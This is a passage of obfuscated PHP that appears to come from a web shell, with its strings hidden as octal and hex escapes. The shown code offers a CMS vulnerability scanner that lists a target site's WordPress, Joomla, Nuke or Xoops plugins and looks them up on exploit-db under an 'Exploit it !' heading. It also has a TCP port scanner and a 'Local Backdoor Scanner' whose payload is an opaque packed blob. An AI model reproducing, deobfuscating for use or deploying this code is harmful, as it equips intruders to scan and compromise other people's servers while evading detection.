"\x27\40\x73\x74\171\154\x65\75\47\x77\x69\144\x74\x68\72\x20\x32\65\x30\160\x78\x3b\x27\40\x68\145\x69\x67\x68\x74\x3d\x27\61\x30\x27\76\74\x63\145\x6e\164\x65\162\76\x50\157\162\164\x20\123\x63\141\x6e\156\145\x72\x3c\x2f\x63\x65\156\164\x65\x72\x3e\x3c\x2f\141\x3e\xa\x9\x9\x9\11\11\11\74\x2f\144\x69\166\x3e\xa\x9\11\x9\x9\x9\11\x3c\144\x69\x76\40\143\x6c\141\163\163\x20\75\x20\x27\143\157\154\55\155\x64\x2d\x33\47\x3e\xa\11\x9\x9\x9\11\x9\x3c\141\x20\143\154\141\x73\x73\40\x3d\40\47\x66\x6f\x72\x6d\x2d\143\x6f\156\164\162\157\154\x20\x61\152\x78\47\40\x68\162\x65\146\x20\75\x20\47\x3f\144\x3d" . hex($d) . "\x26" . hex("\154\x6f\x67\163\x2d\x73\143\141\156\x6e\145\162") . "\x27\40\x73\164\x79\154\x65\x3d\x27\167\x69\144\x74\150\x3a\x20\62\65\x30\160\x78\73\47\40\x68\145\x69\x67\x68\x74\x3d\47\61\x30\x27\x3e\74\x63\145\156\x74\145\x72\76\43\x23\x23\x23\x3c\x2f\x63\x65\x6e\164\145\162\76\x3c\57\x61\x3e\xa\11\11\11\x9\11\11\x3c\x2f\x64\151\166\76\xa\x9\x9\11\11\11\x9\74\144\x69\x76\x20\x63\x6c\141\163\x73\x20\x3d\x20\x27\143\x6f\154\55\155\144\x2d\x33\x27\76\12\11\11\11\x9\11\11\74\141\x20\143\154\141\163\163\40\75\x20\x27\146\x6f\x72\155\x2d\143\x6f\156\x74\x72\x6f\154\40\141\152\x78\x27\40\150\162\x65\146\x20\x3d\x20\47\77\144\75" . hex($d) . "\x26" . hex("\163\x63\141\156\x7a") . "\x27\x20\163\x74\x79\154\x65\75\x27\167\151\144\x74\150\72\x20\x32\x35\x30\160\170\x3b\47\x20\x68\x65\151\147\150\164\75\x27\61\60\47\x3e\74\x63\x65\x6e\x74\x65\162\76\102\x61\143\153\144\157\157\x72\x20\123\143\x61\156\156\145\x72\x3c\57\x63\x65\156\164\145\x72\x3e\74\57\141\76\12\x9\11\x9\x9\11\11\x3c\x2f\x64\151\x76\76\xa\11\x9\11\x9\x9\x9\x3c\57\144\151\166\x3e\x3c\x2f\x63\145\156\164\145\x72\x3e\x3c\x2f\x66\x6f\162\155\x3e"; echo "\x3c\150\162\x3e"; } elseif (isset($_GET[hex("\143\155\x73\x76\165\154\156")])) { function ask_exploit_db($component) { $exploitdb = "\150\164\x74\160\72\57\x2f\167\x77\x77\x2e\145\170\x70\x6c\x6f\151\x74\55\x64\x62\56\x63\157\x6d\x2f\x73\145\x61\162\x63\x68\57\x3f\x61\143\x74\151\157\156\75\x73\145\x61\x72\x63\x68\x26\146\151\154\x74\145\x72\x5f\x70\x61\147\x65\x3d\61\46\x66\x69\154\164\x65\x72\x5f\x64\145\x73\x63\x72\x69\160\x74\151\157\156\75" . $component . "\x26\146\151\x6c\x74\x65\x72\x5f\x65\x78\x70\154\x6f\x69\x74\137\164\145\170\x74\75\46\x66\151\154\164\x65\x72\x5f\141\165\x74\x68\x6f\162\x3d\46\x66\151\154\x74\145\x72\x5f\160\154\x61\x74\x66\157\162\x6d\75\60\x26\146\x69\154\164\145\162\x5f\164\171\x70\145\75\60\46\146\x69\x6c\x74\145\162\x5f\x6c\x61\156\147\x5f\x69\144\75\x30\46\x66\151\x6c\x74\x65\162\137\x70\x6f\x72\164\75\x26\x66\x69\154\164\x65\x72\137\157\163\166\x64\142\x3d\x26\x66\x69\x6c\164\145\162\137\143\166\145\x3d"; $result = @fgt($exploitdb); if (eregi("\116\x6f\x20\162\x65\x73\x75\154\x74\163", $result)) { echo "\74\x63\x65\156\x74\x65\162\x3e\x3c\x74\x64\x3e\107\x61\153\40\141\x64\x61\x3c\57\x74\144\x3e\x3c\164\144\76\x3c\141\40\150\x72\x65\x66\x3d\x27\150\x74\164\160\72\x2f\x2f\x77\x77\167\x2e\147\157\157\x67\x6c\145\x2e\143\x6f\155\57\x73\x65\141\162\x63\150\77\x68\x6c\x3d\x65\x6e\x26\161\x3d\x64\157\167\x6e\x6c\x6f\141\x64\x2b{$component}\47\76\104\x6f\167\x6e\x6c\157\141\144\74\57\141\76\74\57\164\144\76\74\x2f\x74\162\76"; } else { echo "\x3c\164\144\x3e\x3c\x61\40\150\162\145\x66\x3d\x27{$exploitdb}\47\76\113\154\151\x6b\40\111\156\151\56\x2e\41\74\x2f\141\76\74\57\x74\144\x3e\x3c\164\144\x3e\74\55\x2d\x3c\x2f\164\144\76\74\x2f\x74\162\x3e"; } } function get_components($site) { $source = @fgt($site); preg_match_all("\x7b\157\x70\164\151\157\156\54\x28\56\x2a\x3f\x29\57\175\x69", $source, $f); preg_match_all("\173\157\160\164\x69\x6f\x6e\75\x28\56\52\x3f\x29\x28\46\141\x6d\x70\x3b\174\46\174\42\x29\175\151", $source, $f2); preg_match_all("\x7b\57\x63\157\x6d\x70\x6f\x6e\x65\x6e\164\163\x2f\x28\56\52\x3f\51\57\x7d\x69", $source, $f3); $arz = array_merge($f2[1], $f[1], $f3[1]); $coms = array(); if (count($arz) == 0) { echo "\74\164\x72\x3e\x3c\x74\144\x20\163\164\171\x6c\145\75\47\x62\157\x72\144\x65\162\x2d\143\x6f\x6c\x6f\x72\x3a\x77\150\x69\x74\x65\x27\x20\143\157\154\x73\x70\141\x6e\75\63\76\x5b\x7e\135\x20\107\141\x6b\40\x61\144\141\x20\41\40\x4b\x65\153\x6e\x79\x61\40\x53\x69\x74\145\40\105\x72\x72\157\x72\x20\x61\164\x61\x75\x20\x4f\160\164\151\x6f\x6e\40\x73\141\x6c\x61\x68\x20\72\x2d\x3c\x2f\164\144\x3e\74\57\164\162\76"; } foreach (array_unique($arz) as $x) { $coms[] = $x; } foreach ($coms as $comm) { echo "\74\164\162\x3e\x3c\164\x64\x3e{$comm}\74\x2f\164\144\x3e"; ask_exploit_db($comm); } } function get_plugins($site) { $source = @fgt($site); preg_match_all("\43\57\x70\154\165\147\x69\x6e\163\x2f\50\56\x2a\77\x29\57\x23\151", $source, $f); $plugins = array_unique($f[1]); if (count($plugins) == 0) { echo "\74\164\x72\x3e\74\x74\144\40\x73\164\x79\x6c\x65\x3d\x27\142\157\162\x64\x65\162\x2d\x63\x6f\154\x6f\162\x3a\167\x68\x69\164\145\47\x20\x63\157\x6c\163\x70\x61\x6e\x3d\x31\x3e\x5b\176\135\x20\x20\x47\x61\153\x20\x61\x64\x61\40\41\x20\113\x65\153\x6e\x79\x61\x20\123\151\164\x65\x20\105\162\162\157\x72\40\x61\x74\141\165\40\117\160\164\x69\x6f\156\x20\163\x61\x6c\141\x68\40\x3a\x2d\x3c\x2f\x74\x64\x3e\x3c\x2f\164\162\x3e"; } foreach ($plugins as $plugin) { echo "\x3c\164\x72\x3e\x3c\x74\144\76{$plugin}\74\x2f\164\144\76"; ask_exploit_db($plugin); } } function get_numod($site) { $source = @fgt($site); preg_match_all("\173\x3f\x6e\141\x6d\x65\75\50\x2e\52\x3f\51\x2f\175\151", $source, $f); preg_match_all("\x7b\77\156\141\155\x65\75\50\x2e\x2a\77\x29\x28\46\141\155\160\x3b\174\x26\174\154\x5f\x6f\x70\75\x22\51\x7d\151", $source, $f2); preg_match_all("\x7b\57\155\x6f\144\x75\154\x65\x73\x2f\50\x2e\x2a\x3f\51\57\x7d\151", $source, $f3); $arz = array_merge($f2[1], $f[1], $f3[1]); $coms = array(); if (count($arz) == 0) { echo "\x3c\164\162\76\x3c\x74\144\40\x73\164\171\154\145\x3d\47\142\x6f\x72\144\x65\x72\55\x63\x6f\154\157\162\72\167\x68\151\164\145\47\x20\143\x6f\x6c\163\x70\141\156\75\63\x3e\133\176\135\x20\x20\x47\x61\x6b\40\x61\x64\141\40\41\x20\113\x65\153\x6e\x79\x61\x20\x53\151\x74\x65\x20\105\x72\x72\x6f\162\40\x61\164\141\x75\40\x4f\x70\x74\x69\157\156\x20\x73\x61\x6c\x61\150\x20\x3a\x2d\74\x2f\x74\x64\x3e\x3c\57\x74\162\x3e"; } foreach (array_unique($arz) as $x) { $coms[] = $x; } foreach ($coms as $nmod) { echo "\74\x74\x72\x3e\x3c\x74\x64\x3e{$nmod}\74\57\x74\x64\x3e"; ask_exploit_db($nmod); } } function get_xoomod($site) { $source = @fgt($site); preg_match_all("\173\x2f\155\x6f\144\165\x6c\145\x73\x2f\x28\56\52\x3f\x29\57\x7d\x69", $source, $f); $arz = array_merge($f[1]); $coms = array(); if (count($arz) == 0) { echo "\74\164\162\76\74\164\x64\40\x73\164\171\154\x65\x3d\x27\x62\x6f\162\x64\x65\162\x2d\x63\157\154\157\162\x3a\x77\150\x69\x74\145\47\x20\x63\157\x6c\x73\x70\x61\x6e\x3d\63\x3e\133\176\135\40\40\x47\141\153\x20\141\x64\x61\x20\41\x20\113\x65\153\156\x79\141\x20\123\151\164\145\40\x45\x72\162\157\x72\40\x61\164\141\x75\x20\117\160\164\151\x6f\156\40\x73\x61\154\x61\x68\40\72\x2d\x3c\57\164\x64\x3e\x3c\57\164\162\x3e"; } foreach (array_unique($arz) as $x) { $coms[] = $x; } foreach ($coms as $xmod) { echo "\x3c\x74\x72\x3e\74\x74\x64\x3e{$xmod}\x3c\x2f\x74\x64\x3e"; ask_exploit_db($xmod); } } function t_header($site) { echo "\x3c\x62\162\76\x3c\x68\162\40\143\x6f\x6c\157\162\x3d\x22\x77\x68\151\x74\145\x22\76\74\142\x72\76\74\164\x61\142\x6c\145\40\141\x6c\x69\x67\156\x3d\x22\143\145\156\164\145\x72\42\40\x62\x6f\x72\x64\145\162\x3d\x22\x31\42\40\163\164\171\154\145\x3d\42\142\x6f\162\144\x65\x72\55\143\x6f\x6c\x6f\x72\x3d\x77\150\151\164\145\x3b\40\164\x65\x78\x74\x2d\141\x6c\151\147\156\72\x6c\x65\x66\x74\x3b\x22\x20\x77\151\x64\164\x68\75\x22\x35\60\x25\x22\40\143\145\x6c\154\x73\x70\x61\143\x69\x6e\147\x3d\42\61\42\40\143\x65\x6c\x6c\160\x61\x64\144\151\156\147\x3d\x22\x35\42\x3e"; echo "\xa\x3c\x74\x72\x3e\12\x3c\164\144\40\x73\164\x79\154\145\75\x22\142\x6f\x72\x64\x65\x72\x2d\143\x6f\154\157\x72\x3d\167\x68\151\164\145\x22\x3e\x53\x69\x74\x65\40\72\x20\74\141\x20\x68\x72\145\x66\x3d\x22" . $site . "\42\x3e" . $site . "\x3c\57\x61\76\74\57\x74\x64\76\xa\x3c\164\x64\40\x73\x74\171\x6c\x65\x3d\x22\142\x6f\162\x64\x65\x72\55\143\x6f\x6c\x6f\x72\x3d\x77\150\x69\164\145\x22\76\x45\170\160\154\x6f\151\164\x2d\144\142\74\x2f\x62\x3e\74\x2f\x74\144\76\12\74\x74\x64\x20\163\164\x79\x6c\145\75\x22\x62\x6f\162\144\x65\162\x2d\x63\157\x6c\157\x72\75\x77\150\x69\164\145\x22\x3e\x45\170\x70\x6c\x6f\x69\x74\x20\x69\164\x20\x21\x3c\57\x74\x64\76\xa\x3c\57\164\x72\76\12"; } echo "\x3c\143\145\x6e\164\x65\x72\76"; echo "\74\150\x72\76\74\x62\162\76\xa\x3c\150\x32\x3e\x43\x4d\123\40\126\165\154\x6e\x65\x72\x61\x62\151\x6c\x69\x74\171\40\x53\x63\141\x6e\x6e\145\162\x20\131\x3c\x2f\x68\x32\x3e\12\74\146\x6f\x72\x6d\40\155\x65\x74\150\x6f\144\x3d\x22\x50\x4f\x53\124\x22\x20\141\x63\x74\x69\157\156\x3d\x22\x22\40\x20\143\154\x61\x73\163\x3d\42\150\x65\141\x64\x65\x72\x2d\151\x7a\172\42\76\12\40\40\x20\40\74\160\x3e\x4c\x69\x6e\153\x26\x6e\142\x73\x70\x26\x6e\142\x73\160\74\151\x6e\x70\x75\164\x20\164\171\160\x65\75\x22\x74\145\x78\164\x22\x20\x73\164\171\x6c\145\x3d\x22\x62\157\162\x64\x65\162\72\60\73\x62\x6f\162\x64\145\162\x2d\x62\x6f\164\164\157\x6d\x3a\x31\x70\x78\x20\x73\x6f\x6c\x69\144\x20\43\x32\71\62\x39\x32\71\x3b\x20\x77\x69\x64\x74\x68\x3a\x35\x30\60\160\170\73\x22\40\156\x61\x6d\x65\x3d\x22\163\151\164\x65\42\x20\166\x61\x6c\x75\x65\75\42\x68\164\x74\x70\72\x2f\57\61\x32\67\x2e\60\56\60\56\61\x2f\42\40\x63\154\141\x73\163\x20\75\x20\42\x66\157\162\x6d\55\x63\157\156\x74\162\x6f\154\42\x20\x3e\xa\x20\40\40\x20\74\x62\162\76\x3c\x62\x72\76\12\x20\x20\40\40\103\115\x53\12\40\x20\x20\x20\46\156\142\163\160\46\x6e\x62\163\x70\x26\x6e\x62\163\x70\74\x73\x65\x6c\145\x63\164\40\143\x6c\141\x73\x73\x20\75\x20\42\x66\x6f\x72\x6d\x2d\x63\x6f\156\164\162\x6f\154\x22\40\40\156\x61\155\145\x3d\42\160\x69\154\x69\x68\141\156\42\x20\163\164\x79\x6c\145\x3d\42\142\x6f\x72\x64\145\x72\72\60\73\142\x6f\162\x64\145\x72\55\142\x6f\164\164\x6f\155\72\61\x70\170\x20\163\157\154\x69\144\x20\43\62\x39\x32\71\x32\71\73\x20\x77\x69\144\164\x68\x3a\65\60\x30\x70\170\73\x22\76\12\40\40\40\x20\x3c\157\x70\164\x69\157\x6e\76\127\x6f\162\x64\x70\x72\145\163\x73\x3c\x2f\x6f\x70\164\x69\157\156\x3e\12\x20\40\40\40\74\157\160\x74\x69\157\x6e\76\112\157\x6f\155\154\x61\x3c\57\x6f\160\x74\x69\x6f\x6e\x3e\xa\x20\x20\x20\x20\x3c\x6f\160\x74\151\157\156\76\x4e\x75\153\145\163\74\57\x6f\160\164\x69\157\x6e\76\xa\40\x20\40\x20\74\x6f\160\x74\151\x6f\x6e\76\130\x6f\157\x70\163\x3c\57\x6f\x70\164\x69\x6f\156\x3e\40\xa\40\40\40\x20\74\x2f\163\145\154\145\143\164\x3e\x3c\x62\162\x3e\x3c\x62\x72\x3e\46\x6e\x62\163\x70\x26\156\x62\163\x70\46\156\142\x73\160\46\156\x62\163\x70\46\x6e\142\x73\160\x26\156\142\x73\x70\x26\x6e\142\x73\x70\12\x20\40\x20\40\74\151\156\x70\x75\164\40\x63\x6c\x61\x73\163\x20\75\40\42\x66\157\x72\x6d\55\143\157\x6e\x74\162\157\x6c\x22\x20\x74\171\160\x65\x3d\42\x73\165\142\155\x69\164\42\40\x73\164\171\154\x65\75\x22\167\151\144\164\150\x3a\x20\x31\x35\x30\160\x78\x3b\x20\150\x65\151\147\150\x74\x3a\x20\64\60\x70\x78\73\40\x62\157\162\144\x65\162\x2d\143\x6f\154\157\162\75\167\x68\x69\164\145\x3b\155\x61\x72\x67\x69\x6e\72\x31\x30\160\x78\40\x32\160\170\40\x30\40\62\x70\x78\x3b\42\40\x76\x61\154\165\x65\x3d\42\123\x63\x61\x6e\x22\40\x63\x6c\141\x73\163\x3d\42\x6b\157\164\x61\153\42\x3e\x3c\x2f\160\76\12\x3c\57\146\157\x72\155\x3e\x3c\57\x63\x65\156\164\145\x72\76\74\x68\x72\x3e\74\x62\162\x3e"; if ($_POST) { $site = strip_tags(trim($_POST["\x73\x69\164\145"])); t_header($site); echo $x01 = $_POST["\x70\x69\x6c\151\x68\141\x6e"] == "\127\157\x72\144\160\x72\x65\163\163" ? get_plugins($site) : ''; echo $x02 = $_POST["\160\151\x6c\151\x68\141\x6e"] == "\112\157\157\155\154\x61" ? get_components($site) : ''; echo $x03 = $_POST["\x70\151\154\151\150\x61\156"] == "\116\x75\x6b\x65\47\x73" ? get_numod($site) : ''; echo $x04 = $_POST["\160\x69\x6c\151\150\x61\x6e"] == "\x58\x6f\157\x70\163" ? get_xoomod($site) : ''; } } elseif (isset($_GET[hex("\x70\157\162\x74\x2d\x73\143\141\156\156\x65\x72")])) { echo "\74\x68\x72\76\x3c\142\x72\76\74\143\145\x6e\164\x65\x72\x3e"; echo "\x3c\x74\141\x62\x6c\145\x3e\x3c\150\x32\x3e\x50\157\x72\164\x73\x20\123\143\141\156\x6e\145\x72\40\x59\74\x2f\150\62\x3e\x3c\164\144\76"; echo "\x3c\x64\x69\166\x20\143\154\141\163\x73\x3d\42\143\x6f\x6e\x74\x65\x6e\164\x22\76"; echo "\x3c\x66\157\162\x6d\x20\141\x63\164\x69\x6f\x6e\x3d\x22\42\40\155\145\x74\150\157\144\x3d\42\160\157\x73\164\42\76"; if (isset($_POST["\x68\157\163\164"]) && is_numeric($_POST["\x65\156\x64"]) && is_numeric($_POST["\163\164\141\162\164"])) { $start = strip_tags($_POST["\163\164\x61\x72\164"]); $end = strip_tags($_POST["\145\x6e\x64"]); $host = strip_tags($_POST["\150\x6f\x73\x74"]); for ($i = $start; $i <= $end; $i++) { $fp = @fsockopen($host, $i, $errno, $errstr, 3); if ($fp) { echo "\x50\x6f\162\164\40" . $i . "\40\151\x73\40\74\146\157\156\x74\40\143\x6f\x6c\157\x72\75\x67\162\x65\145\x6e\x3e\157\160\x65\156\x3c\x2f\x66\x6f\156\x74\76\74\142\x72\76"; } flush(); } } else { echo "\x3c\x62\162\x20\57\76\74\x62\162\x20\57\x3e\x3c\143\x65\x6e\164\145\x72\x3e\x3c\151\x6e\x70\165\x74\x20\x74\x79\160\x65\75\x22\150\151\x64\x64\145\x6e\x22\40\x6e\141\155\145\75\x22\141\42\40\x76\x61\x6c\x75\x65\75\x22\120\x6f\x72\164\x53\x63\141\x6e\x6e\145\162\x22\76\x3c\151\x6e\160\x75\x74\x20\164\171\x70\145\x3d\42\150\151\144\144\x65\156\x22\x20\x6e\x61\x6d\x65\x3d\x70\61\76\74\x69\156\160\x75\x74\40\x74\x79\x70\145\75\42\x68\x69\144\144\x65\156\x22\x20\x6e\141\155\145\x3d\x22\160\62\42\76\12\11\11\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\74\151\x6e\x70\165\x74\x20\164\x79\x70\x65\75\42\x68\x69\x64\x64\x65\156\42\x20\x6e\x61\x6d\145\75\x22\143\42\x20\x76\141\x6c\165\145\x3d\x22" . htmlspecialchars(getcwd()) . "\x22\x3e\12\x9\x9\40\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x3c\x69\156\160\x75\x74\x20\x74\x79\x70\145\x3d\x22\x68\x69\144\144\x65\x6e\42\x20\x6e\x61\x6d\x65\x3d\x22\143\x68\141\162\x73\145\164\42\40\x76\x61\x6c\165\x65\75\42" . (isset($_POST["\x63\150\141\x72\x73\145\164"]) ? $_POST["\x63\150\141\x72\x73\145\x74"] : '') . "\42\x3e\xa\11\x9\x20\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x48\x6f\163\x74\72\74\x62\162\76\40\74\151\x6e\160\165\x74\x20\143\154\x61\163\163\x20\75\x20\x22\x66\x6f\x72\x6d\x2d\143\x6f\156\x74\x72\157\x6c\42\x20\164\171\160\145\75\x22\x74\x65\170\x74\42\40\156\141\x6d\145\x3d\x22\150\x6f\x73\164\42\40\166\141\154\x75\145\75\42\154\x6f\x63\x61\154\150\x6f\x73\x74\x22\57\76\x3c\x62\x72\x20\x2f\x3e\74\x62\162\40\x2f\76\12\11\11\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\40\120\x6f\162\164\x20\163\x74\141\x72\x74\x3a\40\x3c\x62\162\76\74\x69\x6e\x70\x75\x74\40\143\154\x61\163\163\x20\75\x20\x22\146\157\162\155\x2d\143\157\x6e\164\x72\157\x6c\x20\x74\x79\160\x65\x3d\42\164\145\170\164\x22\x20\x6e\x61\x6d\145\x3d\42\x73\x74\141\162\164\42\40\166\x61\154\165\145\75\42\60\42\57\x3e\x3c\x62\162\40\57\x3e\74\x62\162\40\57\x3e\xa\x9\11\40\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\40\120\157\162\x74\x20\x65\x6e\144\72\x20\x3c\142\x72\x3e\x3c\151\156\x70\x75\164\x20\164\171\x70\145\x3d\x22\164\x65\x78\x74\42\x20\x6e\x61\x6d\145\x3d\42\x65\x6e\144\42\40\x76\x61\x6c\165\145\75\x22\65\60\x30\60\x22\x2f\x3e\x3c\142\162\40\x2f\x3e\x3c\142\162\x20\57\x3e\12\x9\11\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x3c\x69\156\160\165\x74\x20\x63\x6c\x61\x73\163\x20\75\x20\42\146\157\162\x6d\x2d\x63\157\156\x74\162\157\x6c\x20\x74\x79\160\145\75\42\x73\x75\142\x6d\151\164\42\x20\166\x61\154\x75\145\75\42\x53\x63\x61\156\40\120\x6f\162\x74\163\42\40\x2f\76\xa\x9\x9\40\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\x3c\x2f\146\x6f\x72\x6d\76\74\x2f\143\145\156\164\145\162\76\x3c\x62\x72\x20\x2f\x3e\74\142\162\x20\57\76"; echo "\74\57\143\x65\x6e\x74\145\162\76"; echo "\x3c\57\144\x69\166\76\74\x2f\164\x61\142\x6c\145\x3e\74\57\164\144\76\x3c\x68\x72\x3e\74\142\x72\76"; } } elseif (isset($_GET[hex("\163\x63\x61\x6e\x7a")])) { echo "\74\x63\145\156\x74\145\162\76\x3c\142\x72\x3e\x3c\150\x72\x3e\x3c\150\62\76\x3c\x61\40\x68\x72\x65\x66\x3d\42\x3f\144\x3d" . hex($d) . "\46" . hex("\163\x63\x61\x6e\172") . "\42\x3e\114\157\x63\141\154\40\102\141\143\153\x64\157\x6f\x72\x20\123\143\x61\x6e\156\x65\162\x3c\x2f\x61\76\x3c\57\x68\x32\x3e\x3c\x2f\x63\x65\156\164\x65\162\76\x3c\x62\162\76"; $scannerz = "\x7a\126\x70\67\126\x39\x75\64\105\x76\x2b\142\53\171\x6c\x63\x4c\x32\x64\164\x58\x78\x4b\x62\x38\x49\x5a\x67\113\113\x39\123\142\x69\x6d\167\150\112\x61\127\154\x70\117\x56\x62\x53\x55\127\x2b\x49\x55\x6c\x4a\x34\121\165\x33\57\63\117\123\110\x5a\111\x49\x4c\123\x30\x65\x2b\64\x39\x32\170\x35\x48\x72\71\x48\115\x61\x4f\141\156\x30\x55\152\164\x2b\155\131\127\132\164\160\x30\120\x32\123\x43\165\x69\124\120\x79\143\104\60\x43\113\x63\x4a\151\x61\156\x5a\142\162\x38\x35\117\116\x78\x72\x74\x36\62\141\167\131\x6c\147\123\142\x64\114\x62\x4b\101\62\x72\117\x61\60\106\x78\x48\57\x32\152\x56\x4f\144\154\x64\x57\x44\x77\146\x70\x7a\x54\165\x6d\166\163\x50\x5a\67\x53\x49\64\x76\53\130\110\x67\x36\61\145\x31\146\x65\117\x72\130\x51\146\x30\x55\122\x42\57\x49\x61\x58\x66\142\61\63\117\x77\146\117\103\124\x73\157\x4c\x75\113\x49\130\63\170\x63\124\123\x34\x2b\x6e\130\131\x2b\172\x36\60\127\x77\146\x37\x48\111\156\152\x37\x66\160\x52\120\145\150\103\x48\163\x38\x48\142\x37\x62\164\152\164\164\114\x7a\x57\x6f\x74\63\63\166\67\161\67\x4f\146\172\x6c\121\x4c\x6f\x78\145\110\143\142\x65\x39\x69\x4c\x69\157\x4f\x6b\53\63\x69\131\156\103\x51\x76\124\166\x6a\x4f\114\x64\63\143\x72\x64\167\164\110\x50\126\144\x30\x35\x61\113\172\x63\x50\166\106\141\x33\166\x4f\x51\x6a\71\x33\x62\x35\x71\x47\66\71\147\65\x31\x78\x6d\157\164\120\106\66\x46\130\71\x68\x30\117\165\x67\170\64\x73\143\x50\64\x49\x76\x50\x32\120\x33\x59\165\65\x6a\67\x4f\x66\160\x6f\67\x36\x6e\156\x4a\x61\x51\x54\146\63\123\151\146\x64\x7a\166\x2f\123\x59\117\x33\x70\63\x33\x2f\x4c\165\x30\x64\x7a\163\60\x57\x50\165\147\127\x37\114\x2f\x70\x48\143\x5a\x41\63\x31\161\x39\103\x73\x36\x50\x65\155\x53\167\x65\x4f\120\166\53\x2b\170\144\x36\x33\157\x5a\65\170\67\145\x72\x63\x77\x59\x7a\127\x6b\57\x54\x51\x52\x4e\122\x4f\x6b\114\x6f\x78\62\123\x53\114\124\71\116\115\65\131\122\x48\x4f\x6a\132\x6e\x53\147\x62\110\143\160\x39\x6b\154\x43\x2f\x74\x57\105\130\150\67\x53\x4b\x47\162\124\x57\53\161\162\65\157\101\114\107\163\x73\161\x65\156\x4e\160\157\122\x31\x51\x50\167\62\157\67\x42\154\123\154\x55\115\60\107\121\67\x31\161\121\144\x73\x65\x52\160\122\141\x42\x52\132\x6c\x4a\112\101\103\147\x33\102\62\x7a\124\101\165\124\x30\x53\x4b\x51\155\x67\x67\127\101\x78\x62\x55\143\163\x5a\153\x4a\x32\170\x57\155\x50\x74\x73\164\112\x51\x52\166\61\170\112\156\x30\x64\x73\x35\x6a\151\132\114\x48\x6b\152\x6c\157\171\x2f\x70\x35\x36\x35\x69\x4c\x6e\x47\x55\70\x49\161\x41\x37\150\65\66\x74\x2f\x51\x2b\164\163\167\x2b\164\144\155\x4f\65\63\x56\x68\144\x57\111\123\x65\156\131\x46\x49\x6f\x51\103\x4e\154\x75\155\164\147\x4e\x6f\x62\x34\x42\155\x54\102\x47\160\x4c\113\70\163\x4c\x53\x38\x47\123\166\x7a\x79\57\x50\114\165\60\x75\104\x53\57\x74\x4c\162\x55\x57\120\x4b\150\x58\106\154\x71\x4c\x4d\x38\164\x7a\x77\x50\x4a\x4c\123\x4d\160\x66\105\156\123\147\x30\132\145\x33\111\x55\x46\66\150\53\x6b\x50\x69\x69\63\163\105\121\65\70\x61\104\144\x67\x71\x58\x32\107\107\x65\x65\126\120\x61\103\x30\x76\x78\x32\107\123\x71\101\143\x70\x54\61\x6e\151\x53\x6b\113\x77\60\x51\x58\102\x77\x64\170\71\62\120\62\131\x66\x64\167\117\164\x43\x6d\171\126\x42\145\147\x74\114\x5a\x61\x68\127\x7a\102\113\155\123\x51\x2b\125\152\x61\157\117\145\x32\x62\x51\x55\124\157\x6a\x48\x37\x76\x4c\x52\106\150\64\116\163\x4e\126\63\x55\x61\125\x34\155\122\166\146\x6e\156\150\165\152\x52\x6f\124\x4c\162\x4d\142\71\70\x55\x71\x61\x43\x38\156\122\x63\x4a\x47\154\150\141\x4b\x79\120\147\124\x7a\102\146\x35\127\x6e\132\x53\141\x49\117\x4b\x51\x45\x52\126\x34\162\x71\122\163\145\x77\152\x51\113\53\x42\x44\65\x66\163\102\122\114\101\x41\x62\152\x55\101\160\x75\116\110\x57\x67\157\x56\104\166\x45\x66\151\x4a\x56\x4e\166\104\x4f\150\x49\x41\110\112\101\x63\141\x34\x6b\x50\x76\x32\x6d\x41\x56\x53\123\x43\120\121\x38\x2b\x71\x46\x41\x4a\x39\x6d\153\157\x4d\x38\62\160\131\154\64\x56\x43\x36\x70\131\x56\x4d\x57\x53\113\x6b\161\104\x72\161\150\x69\x56\x52\131\153\x6c\64\127\x49\60\125\172\132\x56\125\x61\x37\x63\x6d\x6c\x6c\x4f\70\x78\163\x47\x57\x44\113\x65\150\x4c\167\x7a\x6d\x31\x5a\71\62\x6b\x2b\x79\151\x43\x7a\x4f\x78\107\x42\147\x4b\x52\x74\x62\x71\x7a\114\x53\x4e\131\x70\105\x72\154\161\152\x64\x4f\x38\x52\x2f\x4d\x50\x70\x34\145\155\x39\x57\61\141\116\144\x6f\x59\61\x64\x7a\x70\144\x6d\166\166\71\x4f\x50\145\66\122\x64\x44\x6c\x65\x32\x6a\162\146\x64\x37\170\x6d\127\124\x64\x63\167\x78\x4f\164\145\131\164\x65\126\x66\x34\x78\x45\x44\x49\x30\160\x39\105\x6f\125\x70\x46\60\x62\172\x48\155\141\71\131\153\x6c\x62\x32\145\125\112\x36\x35\120\x6a\60\x7a\120\152\x73\161\x5a\x47\126\x32\x5a\x72\103\167\x76\172\x6c\147\130\x73\163\152\121\130\x72\162\64\62\160\102\x38\x68\x76\71\123\142\71\x7a\124\151\x74\x43\x51\x79\x53\150\153\60\172\163\x53\157\147\114\144\x6e\132\171\x63\x74\64\71\x4c\x36\x2f\x58\x63\x54\71\160\106\111\x6f\x37\122\x50\x38\x77\x6e\152\163\x41\171\101\x77\x46\71\x2f\x50\x52\155\x42\147\131\141\x42\165\x6e\101\x2f\x70\x4c\x69\x71\x55\111\147\x4d\70\x46\x45\113\110\53\62\x46\x7a\160\x79\113\111\x6b\x2b\60\163\x74\x73\62\61\150\x7a\110\163\105\x65\164\x59\x6b\x74\61\x6d\57\x64\104\x2b\x30\120\105\151\141\x69\147\65\x6e\x54\x41\143\165\x75\142\x4e\102\x4f\130\x51\x55\110\x31\x57\116\70\103\111\157\x68\x70\x4a\113\x6e\x51\117\155\155\122\102\104\132\x34\x45\127\x41\x71\x54\x45\163\165\x57\111\x61\x35\162\110\147\x49\x63\x33\112\x61\x54\122\x73\x4c\132\x36\131\66\x68\x36\x77\150\x4e\61\x37\64\x50\165\125\143\127\x4b\x6c\x6c\161\x4e\66\x4d\65\152\110\x6a\x48\114\125\113\x61\x4d\113\157\154\110\130\57\157\x43\162\x4a\62\x45\x35\x49\57\145\163\x57\142\x71\60\x52\x68\142\117\143\144\x6d\106\120\x43\x6a\70\x30\x44\145\143\x72\110\x6e\x32\x4f\x55\x53\165\x31\x48\x31\110\61\112\x78\142\x57\x6a\126\x4b\x50\x52\106\157\126\65\x4a\x76\x54\x53\106\x74\x74\x4b\x68\x6b\170\x33\121\62\65\x54\x6f\115\x4c\x49\x67\x6f\x4f\172\x54\143\105\x46\147\x49\102\x6a\102\111\117\152\156\121\63\x46\114\x46\x6c\x4e\x54\163\x70